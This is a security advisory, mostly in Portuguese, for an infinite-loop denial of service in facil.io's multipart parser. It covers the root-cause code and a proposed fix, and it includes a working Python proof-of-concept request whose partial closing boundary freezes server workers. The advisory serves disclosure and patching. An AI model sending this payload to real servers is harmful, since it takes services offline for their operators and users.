
Security Advisory: Infinite Loop DoS in facil.io MIME Parser (Partial Boundary)
ID CVE atribuído: CVE-2026-66730
Produto: facil.io
Versões afetadas: facil.io >= 0.6.0 (todas as 0.6.x, todas as 0.7.x, master); introduzido juntamente com o analisador MIME em 0.6.0
Componente: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (Loop com Condição de Saída Inalcançável), CWE-400 (Consumo de Recursos Sem Controle)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Pesquisador: Theodosis Paidakis
Uma requisição multipart/form-data cujo corpo termina com um delimitador de fechamento parcial (por exemplo, --B- em vez de --B--\r\n) faz com que http_parse_body() entre em um loop infinito a 100% de CPU. O analisador MIME retorna 0 bytes consumidos quando para em um delimitador parcial, mas o loop chamador verifica apenas !done && !error. Nenhum dos sinalizadores é definido, então ele invoca o analisador novamente com os mesmos dados para sempre. O servidor não trava, portanto nenhum worker é recriado. Uma única requisição POST não autenticada congela permanentemente um worker.
Isso não está relacionado ao CVE-2026-41146, que é um loop infinito no analisador JSON (fio_json_parser.h). Este bug está no analisador MIME/multipart.
Parte 1: Sem guarda de progresso no chamador
lib/facil/http/http.c, linhas 1963-1967
// lib/facil/http/http.c:1963-1967
do {
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons; // += 0 when parser stalls
p.buffer = fiobj_data_pread(h->body, p.pos, 4096); // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error); // neither flag set -> loops forever
Se http_mime_parse retorna 0 e não define nem done nem error, p.pos permanece fixo, fiobj_data_pread retorna o mesmo buffer e o loop não tem saída.
Parte 2: Quando http_mime_parse retorna 0
lib/facil/http/parsers/http_mime_parser.h, linhas 314-329 e o ramo consume_partial
O analisador examina a seção de valor em busca de um delimitador completo. Quando o corpo termina com \n--B- (quatro bytes a menos que um delimitador de fechamento completo \n--B--\r\n), a varredura encontra \n seguido do que parece ser o início de um delimitador, mas não consegue confirmar que está completo:
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
(size_t)(stop - end) >= (4 + parser->boundary_len) &&
(end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
// partial boundary -- transition to consume_partial on first call
parser->in_obj = 1;
goto consume_partial;
}
Na próxima chamada, in_obj já está definido. O ramo consume_partial encontra o mesmo \n antes de --B- e então recua o ponteiro de retorno antes de qualquer dado não consumido:
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
end -= 2;
if (end[0] == '\r') --end; // end now points before the \n
pos = end; // return pointer set behind any new data
goto end_of_data; // returns 0 bytes consumed
}
pos termina na posição inicial ou antes dela. A função retorna 0. De volta ao chamador, cons = 0, p.pos não se move e o ciclo se repete.
Inicie o servidor e execute:
# poc_mime_infinite_loop.py
import socket, time
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=field\r\n"
"\r\n"
"value\r\n"
"--B-" # partial closing boundary: missing final '-\r\n'
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
s.recv(4096)
print("got response - not vulnerable")
except socket.timeout:
print("hung for 10s - server spinning at 100% CPU")
Observado: processo do servidor a 99,7–100% de CPU. kill -9 é necessário para recuperar.
Um worker congelado nunca é encerrado, então nenhum respawn ocorre. Com requisições suficientes (iguais ao número de workers), o servidor para de atender todos os clientes permanentemente até ser reiniciado manualmente. Não são necessários autenticação, cabeçalhos especiais ou estado anterior.
Adicione uma guarda de progresso ao loop em http_parse_body:
lib/facil/http/http.c, linhas 1963-1967
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
if (p.pos == last_pos) { p.p.error = 1; break; } // no progress: abort
last_pos = p.pos;
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons;
p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);